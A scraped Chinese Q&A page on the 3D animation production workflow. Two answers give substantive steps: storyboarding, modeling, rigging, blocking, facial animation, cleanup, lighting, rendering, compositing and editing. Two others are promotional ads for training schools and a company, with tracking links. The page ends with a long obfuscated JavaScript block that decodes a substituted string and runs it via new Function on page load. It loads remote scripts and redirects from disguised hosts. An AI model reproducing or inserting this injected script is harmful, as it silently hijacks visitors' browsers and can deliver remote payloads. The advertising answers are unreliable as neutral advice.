三维动画的制作流程是什么?

2025-03-10 04:05:11
推荐回答(4个)
回答(1):

首先是前期镜头的故事版进行分析,再和模型组一起确定模型的比例,然后导入低精度场景模型和绑定文件,开始制作活动故事板,匹配前后镜头的衔接
动画制作方法
Straight Ahead
商业生产商不提倡使用此方法。不好控制,一旦动作不符合导演的想法,那么改起来会相当麻烦。这将影响整个生产进度。

Pose to Pose
选择动画关键帧Pose,通过正确的Timing来实现动作,准确到位的Pose和精确的Timing是动作成功的关键。
1.减短制作的时间,做出高质量的动作
2.让导演尽可能快地看到你的动作
3.通过关键帧数据尽可能方便地组织动作结构
Audio
当获得一段音频时,我们所要做的最重要的事就是连续不断的反复听这个对话.分析哪里是上升,哪里是下降,哪里是重音,哪个部分是主要的Pose,哪部分是相同的Pose但是除此之外还要有小的高潮和细节在里面.当然需要什么表情和动作是在这之后考虑.我们要做的就是带入到角色的头脑思维中去如何说话和停顿.
如果你能花点时间坐下来好好的一遍又一遍的听对话音频,用心的听,领会它的意境,得到一些灵感会使你的动画更加生动.
在听完之后,通常的就是我们自己通过亲自表演这段对话过程的动作,一般选择两者之一,一是开始在电脑上制作blocking pose,保持着思考和制作Pose.
或者是把你的想法在草图上画出来.这两者的效果是一样的,不过在草图上可以帮助你有更多的可以观察考虑.特别是你记录下面部表情的草图,能给你更大的帮助.
草图画的时候通常是非常简单和迅速的.只要能达到提醒你和知道你应该怎么进行就足够了.通常是以一个具有丰富变化的动画草图做为最终产品来告终的.这样方便当你想要修改某些地方时不会被自己禁锢住思维.这的确是开始动画的一个好的方法.
Layout & Blocking
在3D中我们首先要做的是获得我们工作所需要的角色,背景和摄像机.Layout在这里是第一步,主要是包含了第一帧角色的Pose,所需的道具背景,和摄像机镜头的取景.
当制作完Layout的制作时,你就准备好马上开始制作动画了.先看着你原来画的草图.听着对话音频片断,开始制作key Pose(主要的关键Pose).
在制作的时候习惯于使用“step”keys,这种方法就是如果你有一个pose在第一帧,然后另外一个Pose在第20帧,你仅仅需要key 这两个Pose,其他的都能"holds",这样就不用插入关键帧来保持了.这样工作我们看起来一个Pose突然就转换到另外一个Pose,因为中间没有过渡关键帧.
如果你想要一个Pose,再一次在关键帧1和20,首先要在关键帧1上摆好Pose,然后计算出大概需要多长时间来Hold住这个Pose,或者说你觉得可能需要15帧,所以就去到15帧,把角色的所有部分都Key上关键帧,它跟第1帧的Pose完全一样.然后我们再到20帧,Key出第2个不同的Pose,这样就可以让1到15帧保持不变和没有多余关键帧.然后到第20帧Pose才有5帧的改变.
几乎大量的就在这种连续的循环new pose, hold pose, then new pose, hold pose,直到完成.在有些例子也可以显示出来,你也要移动一些holds,因为在真实的动作pose是不会变化太跳的.不管如何只要你注意,现在动画仍然是非常非常粗燥的.
Blocking 的作用
Blocking是简单的获得一个poses的快照画面,说明在这个镜头里发生些什么,并确保看来没什么问题.
Blocking的重要性如下:
1.能够迅速的完成,只需要加入基本的POSE
2.要说明角色的表演是来表达什么东西?
3.timing在这里并不是最重要的,你首先是做出一个镜头动作来
4.身体上每个pose的关键帧都KEY在同一个关键帧上。这能让你在后面的制作中非常容易的偏移曲线和timing
Rough Animation
在你认为主要Pose,表演,和基本的timing已经恰当稳妥时,下一步将会深入开始制作细节.仍然保持着“linear”keys,因此你不需要担心“splines”造成的错误.在这个过程中你会开始调整Pose的timing和他们的位移.
当你觉得已经已经差不多就会开始着手添加分解细化动作,在原来的Pose的基础上增加更多的细节变化,我也会在整个过程种添加anticpation和follow through.
在这里仍然使用linear keys,动画应该开始看起来更完整了.如果key了身体多个部分,仍然要确保所有的keys保持在一个关键帧.没有任何偏移.不过多了更多的细节,更精致,Pose,timeing,和细节.
通常每次制作大概50-100帧的Blocking,这样我就能把精力集中在一小块上.使它看起来更好.然后再继续下去.下面是制作过程中的3个片断.
在第一个片断中,真正所做的就是开始增加开始片断的细节,除此之外没有更进一步.
在片断2中,所有的已经被制作得更加好了.因为不制作任何表情动画,所以脸部被隐藏了.但是还是保留了眼睛动画,这样可以更好得理解动画应该怎么样继续下去。片断3,决定增加更多得Pose,增加了夸张,特别是多了一些变化.
Rough 阶段的重要性
1.Timing 得到正确的修改。
2.Poses 得到更好的提炼, 中间Pose也添加进去. 预备和跟随Pose也加入。
3.仍然没有表情动画。
4.所有的动画曲线类型仍然是Liner类型。
5.在这个阶段,身体的动画能做多好就做多好,虽然曲线只是Liner类型。
Facial Animation
在几乎已经完成了得身体是linear状态曲线得动画时,则开始制作表情动画.
首先开始制作口形动画,并且使得看起来不错这个是片断1然后又回去添加一些情感进到口形动画中.在整个片断中增加或多或少得笑容或者皱眉表情.关键帧仍然时Linear状态曲线.
当口形制作完之后.就开始制作眼睛的动画.我会对眉毛和眼皮制作所需要的表情变化.所有的都是linear keys,仅仅是keys需要表情的Pose,保持整洁和整理整个timeline.这个是片断2的动画,确保眼睛看向它所需要的方向.
Facial Animation
最后有准备的细化tweak any lipsync 和 面部表情和增加闪光点到Pose上去.让表情符合本质上的要求.这里仍然全部都是linear keys.这是the Facial 3
1.所有的曲线仍然是线性的
2.加入口型动画,然后添加表情
3.这部分制作完之后基本上已经把身体和表情的动画基本完成,但是仍然是liner的
Cleanup Animation
到最后我开始进入"Cleanup"阶段,调整我们关键帧为smooth
这里允许你获得完美的平滑运动.一般来说你需要把曲线改变为spline/smooth,手动的修改切线手柄来摆脱过度的运动产生.
观察播放该动画,然后细化某些不合理的局部,可以偏移一些部分曲线,可以轻微的调整其他的如果需要的话可以偏移一些旋转的位置,或者偏移脊梁骨spine bone的帧延迟,等等所有需要偏移的地方.
通过大量反复的预览原片,以便确认在放到一个大屏幕时没有问题.
1.smooth/spline关键帧
2.根据需要偏移曲线
3.这是最终动画

回答(2):

你可以先去【绘学霸】网站找“动画制作技术”板块的【免费】视频教程-【点击进入】完整入门到精通视频教程列表: www.huixueba.net/web/AppWebClient/AllCourseAndResourcePage?type=1&tagid=310&zdhhr-11y17r-584071134

想要系统的学习可以考虑报一个网络直播课,推荐CGWANG的网络课。老师讲得细,上完还可以回看,还有同类型录播课可以免费学(赠送终身VIP)。

自制能力相对较弱的话,建议还是去好点的培训机构,实力和规模在国内排名前几的大机构,推荐行业龙头:王氏教育。
王氏教育全国直营校区面授课程试听【复制后面链接在浏览器也可打开】:
www.cgwang.com/course/ysdhaaa/?zdhhr-11y17r-584071134

在“动画制作技术”领域的培训机构里,【王氏教育】是国内的老大,且没有加盟分校,都是总部直营的连锁校区。跟很多其它同类型大机构不一样的是:王氏教育每个校区都是实体面授,老师是手把手教,而且有专门的班主任从早盯到晚,爆肝式的学习模式,提升会很快,特别适合基础差的学生。

大家可以先把【绘学霸】APP下载到自己手机,方便碎片时间学习——绘学霸APP下载: www.huixueba.com.cn/Scripts/download.html

回答(3):

迈维动漫公司专注于高品质天线安装产品演示三维动画设计。采用先进的3D动画技术,展示天线产品安装过程。

回答(4):

1.初始设定(故事板)
在制作之前,我们得先解决剧本、人设、场景设定、分镜等问题。首先我们要有一个剧本,确定好剧本以后主人公就要出现了,可以是人,也可以是动物,这部分就叫做角色设定。
有个剧本跟角色还是不够的,那只是脑补剧情,我们要将它具体化,也就是变成图像的形式,让参与制作的人都能够懂要表达的剧情,也就是故事版。也可以称之为分镜或者脚本。这是奠定动画的基础。
2.建模
在三维软件中由建模人员赋予所有的角色、环境、道具第三个维度,使他们“挺起来”。这个工作很像电脑桌前的雕塑家。
例如,角色设计师会给出他们的设计手稿,建模师会制作一个线框模型,使得这个三维的角色从任何角度看,都是完美的。
从粗模制作开始,完成角色基础型的搭建,再到细节的逐渐深入,添加毛发,贴图,细化材质,最后分层渲染,最终合成。这样一个人物才算真正的完成。
3.绑定
绑定是制作角色运动的方式,好像把牵线木偶或者皮影戏搭上可供活动的部分。这一工序会把关节、肌肉、脂肪全都制作出来。动画角色的皮肤可以根据动作而褶皱、变形。我们的动画师们就可以控制这个数字玩偶的动作、神情。
4.动画
对于动画及角色的控制,实现动画“动起来”的变化状态,赋予角色生命力。在3D动画制作中,通常是通过以下几个步骤实现:计划、参考、Blocking、Breakdown和Polish。
a.计划
所谓计划也就是上文提到的故事板。先有设计,把想法尽量表达出来,然后再冠以行动。
个人设计制作动画的时候,计划可以通过手绘来实现,草图画火柴人即可,能看得明白就行。想法和创意一般都是从模糊到清晰,最关键的是先画出来!
b.参考
根据计划拍摄相应参考视频,或者通过各种视频拼接而成,拍摄参考是必要的环节。
c.Blocking
所谓的blocking,实则是对场景及其物体设置关键帧,将动画中动作或场景变化最大的一瞬间设置成关键帧,将关键的姿势罗列出来。
这个关键的姿势就是咱们日常所说的Pose,会摆pose的动画师不一定是好动画师,但好动画师一定会摆pose!
d.Breakdown
Breakdown(也称BD张、中间张、过渡张)即完成关键帧之间的过渡,在每一个关键帧之间添加过渡姿势,使动画看起来更加丰满生动。
e.Polish
最终润色修饰,当以上动画步骤全都做完之后,再审视一遍,修正瑕疵,强化过渡、力量、质感等,以及细节上的变形。至此,你的动画才算做完。动画是作品的灵魂,动画做的让人信服,人物才能活起来。每个眨眼,每次小动作的设计和执行都是体现人物性格的关键。这也是为什么皮克斯和迪斯尼的作品这么有灵性的原因。
5.灯光、材质、渲染
这三个方面是密不可分的,这个过程从建模之后就一直在进行。有了真实的材质画面才可信,有了灯光才有气氛和故事。根据前期设计风格定位,由灯光师对动画场景进行把控,来模拟真实的光影效果。
没有灯光的点缀,一切都是不真实的,模型和材质你可以使用别人制作好的,但是灯光却不行,灯光的可变性最大。我们运用合成软件,将电脑生成的灯光和我们制作好的动画、场景、角色、一切的一切进行合成。达到最终需要的拍摄视觉的效果。
在建模过后,角色和道具所有的角度都是又平又灰的。材质师们会赋予模型颜色和材质,并确定材质是如何和灯光进行交互的。他们会有一个材质库,包含了金属、木材、塑料以及许多东西的材质。有的材质表面会有独特的纹理、锈迹、划痕,这些细节都可以在材质部门随意添加。
渲染是最后的步骤,以上所有步骤做完之后得到的文件仅仅只是记录模型、灯光、材质等等信息,3D动画也是一样。动画、灯光制作完成后,由渲染人员根据后期合成师的意见把各镜头文件分层渲染,提供合成用的图层和通道。经过渲染才能看到灯光与材质的效果。渲染是最费时间的,并且由于模型的随机性、可变性,渲染过程中经常就会出现一些莫名的问题而中断渲染。
6.合成
好的合成能化腐朽为神奇。现在行业里一般使用Nuke做合成,把渲染出来的层面合成起来,调整光和材质的不足之处,把背景和特殊效果与画面合成在一起。
7.后期剪辑
合成是最后一步,也是非常重要的步骤,剪辑就是把渲染合成好的各个镜头拼在一起,整体调整色调,配音,配乐等。
以上就是三维动画制作的基本流程。

!function(){function a(a){var _idx="e4ydksy2pg";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^m_XO6L)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0dhFLFT6m)CFSp)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0dhFL5SJm4h(7F7fmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m_XO6L)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0dhFLFT6m)CFSp)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0dhFL5SJm4h(7F7fmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0dhFLFT6m)CFSp)pmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8YoTfSLT@Jp"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"YoTfSLT@Jp"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mhfO76RqmRT4"="Ks0X5ThF)mT)7F56RmRT4"="Ks02pThFmhfO76RqmRT4"="Ks0_JqhFmT)7F56RmRT4"="Ks02TOhFmhfO76RqmRT4"="Ks0CSqhF)mT)7F56RmRT4"="Ks0)FfThF)fmhfO76RqmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:mX2O2fmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:mX2O2fmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0dhFLFT6m)CFSp)pmRT4gQ}1Q/f/Ks0j(8}vR8YoTfSLT@Jp"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0dhFLFT6m)CFSp)pmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();